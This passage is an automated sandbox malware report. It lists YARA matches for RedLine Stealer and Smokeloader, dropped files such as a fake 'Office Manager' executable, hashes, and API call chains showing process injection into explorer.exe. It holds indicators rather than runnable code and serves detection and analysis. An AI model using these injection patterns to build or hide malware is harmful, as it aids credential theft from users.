Malicious sample detected (through community Yara rule)

Source: 0000000D.00000002.2683597443.00000000004C8000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000000C.00000002.2584203663.0000000000589000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000000D.00000002.2687709994.0000000002010000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 0000000C.00000002.2586433701.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 10_2_0041E747 NtFlushProcessWriteBuffers,NtFlushProcessWriteBuffers,	10_2_0041E747
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: 12_2_0040EEE0 GetCurrentProcess,Wow64DisableWow64FsRedirection,_memset,lstrcpyW,_memset,CreateProcessW,NtCreateSection,GetCurrentProcess,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,GetCurrentProcess,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,GetCurrentProcess,NtMapViewOfSection,NtMapViewOfSection,_memmove,_memmove,_memmove,lstrcpyW,lstrcpyW,lstrcpyA,lstrcpyA,lstrcpyA,lstrcpyA,lstrcpyA,lstrcpyA,lstrcpyA,lstrcpyA,lstrcpyA,lstrcpyA,lstrcpyA,_memmove,CreateEventW,GetModuleHandle64,GetProcAddress64,X64Call,WaitForSingleObject,ResetEvent,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,NtClose,NtClose,CloseHandle,Wow64DisableWow64FsRedirection,ResetEvent,CloseHandle,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,CloseHandle,CloseHandle,Wow64DisableWow64FsRedirection,	12_2_0040EEE0
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: 12_2_004047F0 GetCurrentProcess,_memset,CreateProcessW,NtCreateSection,GetCurrentProcess,NtMapViewOfSection,_memmove,NtMapViewOfSection,NtCreateSection,GetCurrentProcess,NtMapViewOfSection,_memmove,NtMapViewOfSection,_memset,GetThreadContext,WriteProcessMemory,SetThreadContext,ResumeThread,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,NtClose,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,CloseHandle,CloseHandle,	12_2_004047F0
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: 12_2_0040FF90 CreateProcessW,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetCurrentProcess,NtCreateSection,GetCurrentProcess,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,GetCurrentProcess,NtMapViewOfSection,NtMapViewOfSection,_memmove,LoadLibraryW,GetProcAddress,GetProcAddress,lstrcpyW,lstrcpyW,lstrcpyA,lstrcpyA,lstrcpyA,lstrcpyA,lstrcpyA,lstrcpyA,lstrcpyA,lstrcpyA,lstrcpyA,NtCreateSection,GetCurrentProcess,NtMapViewOfSection,NtMapViewOfSection,_memmove,CreateEventW,RtlCreateUserThread,WaitForSingleObject,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,NtClose,NtClose,CloseHandle,TerminateProcess,CloseHandle,CloseHandle,CloseHandle,NtUnmapViewOfSection,NtClose,NtUnmapViewOfSection,NtClose,NtUnmapViewOfSection,NtClose,TerminateProcess,CloseHandle,CloseHandle,	12_2_0040FF90
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: 12_2_0040F790 GetCurrentProcess,Wow64DisableWow64FsRedirection,_memset,CreateProcessW,NtCreateSection,GetCurrentProcess,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,GetCurrentProcess,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,GetCurrentProcess,NtMapViewOfSection,NtMapViewOfSection,_memmove,_memmove,_memmove,lstrcpyW,lstrcpyW,lstrcpyA,lstrcpyA,lstrcpyA,lstrcpyA,lstrcpyA,lstrcpyA,lstrcpyA,lstrcpyA,lstrcpyA,lstrcpyA,lstrcpyA,_memmove,CreateEventW,GetModuleHandle64,GetProcAddress64,X64Call,WaitForSingleObject,ResetEvent,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,NtClose,NtClose,CloseHandle,Wow64DisableWow64FsRedirection,ResetEvent,CloseHandle,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,CloseHandle,CloseHandle,Wow64DisableWow64FsRedirection,	12_2_0040F790
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: 12_2_020E4A57 GetCurrentProcess,_memset,CreateProcessW,NtCreateSection,GetCurrentProcess,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,GetCurrentProcess,NtMapViewOfSection,NtMapViewOfSection,_memset,GetThreadContext,WriteProcessMemory,SetThreadContext,ResumeThread,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,NtClose,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,CloseHandle,CloseHandle,	12_2_020E4A57
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: 12_2_020FA387 NtdllDefWindowProc_W,	12_2_020FA387
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: 12_2_020EF147 GetCurrentProcess,Wow64DisableWow64FsRedirection,_memset,lstrcpyW,_memset,CreateProcessW,NtCreateSection,GetCurrentProcess,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,GetCurrentProcess,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,GetCurrentProcess,NtMapViewOfSection,NtMapViewOfSection,lstrcpyW,lstrcpyW,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,CreateEventW,WaitForSingleObject,ResetEvent,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,NtClose,NtClose,CloseHandle,Wow64DisableWow64FsRedirection,ResetEvent,CloseHandle,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,CloseHandle,CloseHandle,Wow64DisableWow64FsRedirection,	12_2_020EF147
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: 12_2_020F01F7 CreateProcessW,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetCurrentProcess,NtCreateSection,GetCurrentProcess,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,GetCurrentProcess,NtMapViewOfSection,NtMapViewOfSection,LoadLibraryW,GetProcAddress,GetProcAddress,lstrcpyW,lstrcpyW,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,NtCreateSection,GetCurrentProcess,NtMapViewOfSection,NtMapViewOfSection,CreateEventW,RtlCreateUserThread,WaitForSingleObject,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,NtClose,NtClose,CloseHandle,TerminateProcess,CloseHandle,CloseHandle,CloseHandle,NtUnmapViewOfSection,NtClose,NtUnmapViewOfSection,NtClose,NtUnmapViewOfSection,NtClose,TerminateProcess,CloseHandle,CloseHandle,	12_2_020F01F7
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: 12_2_020EF9F7 GetCurrentProcess,Wow64DisableWow64FsRedirection,_memset,CreateProcessW,NtCreateSection,GetCurrentProcess,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,GetCurrentProcess,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,GetCurrentProcess,NtMapViewOfSection,NtMapViewOfSection,lstrcpyW,lstrcpyW,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,CreateEventW,WaitForSingleObject,ResetEvent,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,NtClose,NtClose,CloseHandle,Wow64DisableWow64FsRedirection,ResetEvent,CloseHandle,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,CloseHandle,CloseHandle,Wow64DisableWow64FsRedirection,	12_2_020EF9F7
Source: C:\ProgramData\psh\lcs	Code function: 13_2_02014A57 GetCurrentProcess,_memset,CreateProcessW,NtCreateSection,GetCurrentProcess,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,GetCurrentProcess,NtMapViewOfSection,NtMapViewOfSection,_memset,GetThreadContext,WriteProcessMemory,SetThreadContext,ResumeThread,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,NtClose,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,CloseHandle,CloseHandle,	13_2_02014A57
Source: C:\ProgramData\psh\lcs	Code function: 13_2_0202A387 NtdllDefWindowProc_W,	13_2_0202A387
Source: C:\ProgramData\psh\lcs	Code function: 13_2_0201F147 GetCurrentProcess,Wow64DisableWow64FsRedirection,_memset,lstrcpyW,_memset,CreateProcessW,NtCreateSection,GetCurrentProcess,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,GetCurrentProcess,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,GetCurrentProcess,NtMapViewOfSection,NtMapViewOfSection,lstrcpyW,lstrcpyW,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,CreateEventW,WaitForSingleObject,ResetEvent,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,NtClose,NtClose,CloseHandle,Wow64DisableWow64FsRedirection,ResetEvent,CloseHandle,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,CloseHandle,CloseHandle,Wow64DisableWow64FsRedirection,	13_2_0201F147
Source: C:\ProgramData\psh\lcs	Code function: 13_2_020201F7 CreateProcessW,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetCurrentProcess,NtCreateSection,GetCurrentProcess,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,GetCurrentProcess,NtMapViewOfSection,NtMapViewOfSection,LoadLibraryW,GetProcAddress,GetProcAddress,lstrcpyW,lstrcpyW,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,NtCreateSection,GetCurrentProcess,NtMapViewOfSection,NtMapViewOfSection,CreateEventW,RtlCreateUserThread,WaitForSingleObject,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,NtClose,NtClose,CloseHandle,TerminateProcess,CloseHandle,CloseHandle,CloseHandle,NtUnmapViewOfSection,NtClose,NtUnmapViewOfSection,NtClose,NtUnmapViewOfSection,NtClose,TerminateProcess,CloseHandle,CloseHandle,	13_2_020201F7
Source: C:\ProgramData\psh\lcs	Code function: 13_2_0201F9F7 GetCurrentProcess,Wow64DisableWow64FsRedirection,_memset,CreateProcessW,NtCreateSection,GetCurrentProcess,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,GetCurrentProcess,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,GetCurrentProcess,NtMapViewOfSection,NtMapViewOfSection,lstrcpyW,lstrcpyW,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,CreateEventW,WaitForSingleObject,ResetEvent,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,NtClose,NtClose,CloseHandle,Wow64DisableWow64FsRedirection,ResetEvent,CloseHandle,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,CloseHandle,CloseHandle,Wow64DisableWow64FsRedirection,	13_2_0201F9F7
Source: C:\Windows\explorer.exe	Code function: 18_2_0130DFB0 CreateProcessW,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetCurrentProcess,NtCreateSection,GetCurrentProcess,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,GetCurrentProcess,NtMapViewOfSection,NtMapViewOfSection,LoadLibraryW,GetProcAddress,GetProcAddress,lstrcpyW,lstrcpyW,lstrcpyA,lstrcpyA,lstrcpyA,lstrcpyA,lstrcpyA,lstrcpyA,lstrcpyA,lstrcpyA,lstrcpyA,NtCreateSection,GetCurrentProcess,NtMapViewOfSection,NtMapViewOfSection,CreateEventW,RtlCreateUserThread,WaitForSingleObject,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,NtClose,NtClose,CloseHandle,TerminateProcess,CloseHandle,CloseHandle,CloseHandle,NtUnmapViewOfSection,NtClose,NtUnmapViewOfSection,NtClose,NtUnmapViewOfSection,NtClose,TerminateProcess,CloseHandle,CloseHandle,	18_2_0130DFB0
Source: C:\Windows\explorer.exe	Code function: 18_2_0130EA14 CloseHandle,NtUnmapViewOfSection,NtClose,NtUnmapViewOfSection,NtClose,NtUnmapViewOfSection,NtClose,TerminateProcess,CloseHandle,CloseHandle,	18_2_0130EA14
Source: C:\Windows\explorer.exe	Code function: 18_2_01304A40 GetCurrentProcess,CreateProcessW,NtCreateSection,GetCurrentProcess,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,GetCurrentProcess,NtMapViewOfSection,NtMapViewOfSection,GetThreadContext,SetThreadContext,ResumeThread,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,NtClose,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,CloseHandle,CloseHandle,TerminateProcess,	18_2_01304A40

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_02D74AE0	0_2_02D74AE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0C666460	0_2_0C666460
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0C6628FD	0_2_0C6628FD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0C6639D0	0_2_0C6639D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0C666450	0_2_0C666450
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0C6639C1	0_2_0C6639C1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0C6632E0	0_2_0C6632E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0C6632D1	0_2_0C6632D1
Source: C:\ProgramData\Office Manager\Application.exe	Code function: 6_2_02EE4AE0	6_2_02EE4AE0
Source: C:\ProgramData\Office Manager\Application.exe	Code function: 6_2_0C646451	6_2_0C646451
Source: C:\ProgramData\Office Manager\Application.exe	Code function: 6_2_0C6428FD	6_2_0C6428FD
Source: C:\ProgramData\Office Manager\Application.exe	Code function: 6_2_0C6439C0	6_2_0C6439C0
Source: C:\ProgramData\Office Manager\Application.exe	Code function: 6_2_0C6432E0	6_2_0C6432E0
Source: C:\ProgramData\Office Manager\Application.exe	Code function: 6_2_0C6432D0	6_2_0C6432D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 10_2_0040A150	10_2_0040A150
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 10_2_004231B2	10_2_004231B2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 10_2_004492DB	10_2_004492DB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 10_2_004493FB	10_2_004493FB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 10_2_0044A3A0	10_2_0044A3A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 10_2_00444850	10_2_00444850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 10_2_004229C3	10_2_004229C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 10_2_004259A1	10_2_004259A1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 10_2_00439A03	10_2_00439A03
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 10_2_00404AF0	10_2_00404AF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 10_2_00448B89	10_2_00448B89
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 10_2_00404C70	10_2_00404C70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 10_2_00444CE8	10_2_00444CE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 10_2_00427D42	10_2_00427D42
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 10_2_00404E70	10_2_00404E70
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: 12_2_0043012C	12_2_0043012C
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: 12_2_0041A1C0	12_2_0041A1C0
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: 12_2_0042FA50	12_2_0042FA50
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: 12_2_0042420C	12_2_0042420C
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: 12_2_0041A219	12_2_0041A219
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: 12_2_00423A9C	12_2_00423A9C
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: 12_2_0040BB90	12_2_0040BB90
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: 12_2_0042F4FF	12_2_0042F4FF
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: 12_2_004245F4	12_2_004245F4
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: 12_2_00430E64	12_2_00430E64
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: 12_2_00423607	12_2_00423607
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: 12_2_00423E3A	12_2_00423E3A
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: 12_2_0042EFAE	12_2_0042EFAE
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: 12_2_0058EA7F	12_2_0058EA7F
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: 12_2_0058DD67	12_2_0058DD67
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: 12_2_0058DD17	12_2_0058DD17
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: 12_2_0210F215	12_2_0210F215
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: 12_2_0210386E	12_2_0210386E
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: 12_2_021110CB	12_2_021110CB
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: 12_2_0210F766	12_2_0210F766
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: 12_2_0210FCB7	12_2_0210FCB7
Source: C:\ProgramData\psh\lcs	Code function: 13_2_004CCC5F	13_2_004CCC5F
Source: C:\ProgramData\psh\lcs	Code function: 13_2_004CD8DA	13_2_004CD8DA
Source: C:\ProgramData\psh\lcs	Code function: 13_2_004CCCAF	13_2_004CCCAF
Source: C:\ProgramData\psh\lcs	Code function: 13_2_0203F215	13_2_0203F215
Source: C:\ProgramData\psh\lcs	Code function: 13_2_0203386E	13_2_0203386E
Source: C:\ProgramData\psh\lcs	Code function: 13_2_020410CB	13_2_020410CB
Source: C:\ProgramData\psh\lcs	Code function: 13_2_0203F766	13_2_0203F766
Source: C:\ProgramData\psh\lcs	Code function: 13_2_0203FCB7	13_2_0203FCB7
Source: C:\Windows\explorer.exe	Code function: 18_2_0131B170	18_2_0131B170
Source: C:\Windows\explorer.exe	Code function: 18_2_013239A0	18_2_013239A0
Source: C:\Windows\explorer.exe	Code function: 18_2_01301000	18_2_01301000
Source: C:\Windows\explorer.exe	Code function: 18_2_0131FE90	18_2_0131FE90
Source: C:\Windows\explorer.exe	Code function: 18_2_0130C130	18_2_0130C130
Source: C:\Windows\explorer.exe	Code function: 18_2_01306500	18_2_01306500
Source: C:\Windows\explorer.exe	Code function: 18_2_013175D0	18_2_013175D0
Source: C:\Windows\explorer.exe	Code function: 18_2_01317DC0	18_2_01317DC0
Source: C:\Windows\explorer.exe	Code function: 18_2_0131A071	18_2_0131A071
Source: C:\Windows\explorer.exe	Code function: 18_2_0132D444	18_2_0132D444
Source: C:\Windows\explorer.exe	Code function: 18_2_0132A4B0	18_2_0132A4B0
Source: C:\Windows\explorer.exe	Code function: 18_2_0130A4A0	18_2_0130A4A0
Source: C:\Windows\explorer.exe	Code function: 18_2_0132C49C	18_2_0132C49C
Source: C:\Windows\explorer.exe	Code function: 18_2_0130EB20	18_2_0130EB20
Source: C:\Windows\explorer.exe	Code function: 18_2_01301F00	18_2_01301F00
Source: C:\Windows\explorer.exe	Code function: 18_2_0130FF00	18_2_0130FF00
Source: C:\Windows\explorer.exe	Code function: 18_2_0131FF06	18_2_0131FF06
Source: C:\Windows\explorer.exe	Code function: 18_2_0133375C	18_2_0133375C
Source: C:\Windows\explorer.exe	Code function: 18_2_0130DFB0	18_2_0130DFB0
Source: C:\Windows\explorer.exe	Code function: 18_2_0131ABA0	18_2_0131ABA0
Source: C:\Windows\explorer.exe	Code function: 18_2_01304FF0	18_2_01304FF0
Source: C:\Windows\explorer.exe	Code function: 18_2_01319FF0	18_2_01319FF0
Source: C:\Windows\explorer.exe	Code function: 18_2_013277FC	18_2_013277FC
Source: C:\Windows\explorer.exe	Code function: 18_2_0133162C	18_2_0133162C
Source: C:\Windows\explorer.exe	Code function: 18_2_01318600	18_2_01318600
Source: C:\Windows\explorer.exe	Code function: 18_2_01334208	18_2_01334208
Source: C:\Windows\explorer.exe	Code function: 18_2_01304A40	18_2_01304A40
Source: C:\Windows\explorer.exe	Code function: 18_2_0130B690	18_2_0130B690
Source: C:\Windows\explorer.exe	Code function: 18_2_01332EF8	18_2_01332EF8
Source: C:\Windows\explorer.exe	Code function: 18_2_013202E0	18_2_013202E0
Source: C:\Windows\explorer.exe	Code function: 18_2_013082D0	18_2_013082D0
Source: C:\Windows\explorer.exe	Code function: 18_2_013092C0	18_2_013092C0

Source: Joe Sandbox View

Dropped File: C:\ProgramData\Office Manager\Application.exe 53CD2428C9883ACCA7182781F22DF82C38F8CC115DC014B68E32F8B1CDBF246A

Source: C:\Windows\explorer.exe	Code function: String function: 01325F9C appears 49 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: String function: 0041F4F2 appears 69 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: String function: 00419C70 appears 128 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: String function: 0041FB30 appears 39 times

Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6036 -s 768

Source: file.exe, 00000000.00000002.1877943233.000000000118E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs file.exe
Source: file.exe, 00000000.00000000.1414817156.0000000000BF2000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameCalculatorApplication.exe6 vs file.exe
Source: file.exe, 00000000.00000002.1880424577.0000000003EC9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameOffice.dll. vs file.exe
Source: file.exe, 00000000.00000000.1414718675.0000000000AE2000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameOffice.dll. vs file.exe
Source: file.exe	Binary or memory string: OriginalFilenameOffice.dll. vs file.exe
Source: file.exe	Binary or memory string: OriginalFilenameCalculatorApplication.exe6 vs file.exe

Source: 0000000D.00000002.2683597443.00000000004C8000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000000C.00000002.2584203663.0000000000589000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000000D.00000002.2687709994.0000000002010000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 0000000C.00000002.2586433701.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23

Source: stub4141_2024-10-16_10-48[1].exe.4.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: stub4141_2024-10-16_10-48.exe.4.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
